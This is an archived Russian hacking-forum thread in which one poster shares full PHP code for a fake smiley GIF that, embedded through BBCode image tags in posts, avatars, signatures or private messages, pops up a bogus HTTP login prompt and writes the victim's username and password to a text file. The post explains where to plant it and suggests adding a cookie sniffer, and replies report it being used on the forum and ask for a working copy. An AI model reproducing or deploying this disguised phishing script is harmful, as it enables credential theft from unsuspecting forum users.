PDA

Просмотр полной версии : XSS - Passive


marishkou
21.06.2010, 05:27
открываем в текстовом редакторе файл: smile.gif
*****************************************
<?
//делаем скрипт картинкой
header("Content-type: image/gif");
//делаем изображение смайликом из архива
$image = imagecreatefromgif('mellow.gif');
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
//Авторизация пройдёт, если пароль больше 4-ёх символов и вообще написан логин
if(strlen($pass) <= 4 || !$login)
{
Header('[Ссылки доступны только зарегистрированным пользователям] 401 Unauthorized');
Header('[Ссылки доступны только зарегистрированным пользователям] Basic realm="Сюда адрес сайта - login"');
}
elseif($login)
{
//ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис ))
setcookie('LOGON',md5($pass));
//запишем пароли в файл
$f = fopen('passwords.txt', 'ab'); //passwords.txt
fwrite($f, $login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
fclose($f);
}
}
imagegif($image);
imagedestroy($image);
?>
******************************************
заливаем все файлы в папке на сервер
проверяем: [Ссылки доступны только зарегистрированным пользователям]
должно появиться окошко авторизации.
После ввода в эту форму логин и пароля их можно посмотреть в файле passwords.txt
и соответственно по адресу: [Ссылки доступны только зарегистрированным пользователям]

как и где можно это использовать.
на форумах или сайтах или в аваторках или в подписи на форумах или в чатах или в личный сообщениях где используются BB-код например на [Ссылки доступны только зарегистрированным пользователям]
вводиш просто этот код:
[ img][Ссылки доступны только зарегистрированным пользователям][/img] - без пробела ()
этот код будет открывать форму логин и пароля
после чего он откроет сам смайл: mellow.gif -можно менять на любой.

так же можно по мимо формы загрузить снифер на статистику или любой другой код щитывающий куки или другую информацию.

кому нужно качаем тут: [Ссылки доступны только зарегистрированным пользователям]

***
Вот пример: [img][Ссылки доступны только зарегистрированным пользователям]
[Ссылки доступны только зарегистрированным пользователям]
Login: test
Pass: test
кодировку меняем на Windows 1251 если у кого не отображается русский язык
***

[Ссылки доступны только зарегистрированным пользователям]
[Ссылки доступны только зарегистрированным пользователям] 71.jpg

darkest
21.06.2010, 16:54
Один придурок уже опробовал,причем на нашем форуме...вечная баня

Dave
21.06.2010, 17:12
Обнаружена многократная авторизация у пользователя marishkou.

Другие ники у этого пользователя:
alone
KoToR

darkest
21.06.2010, 20:16
Обнаружена многократная авторизация у пользователя marishkou.

Другие ники у этого пользователя:
alone
KoToR
Про него и речь....

olegteror
23.06.2010, 19:36
да ему же написали напиши статью про xss вот вам и статья:)

rebbe
24.06.2010, 11:13
так это обычный снифер,только авторизация приделана))

Dave
24.06.2010, 14:40
у меня не робит! Может поделится рабочей версией?

darkest
24.06.2010, 15:38
Dave,Усё там робит...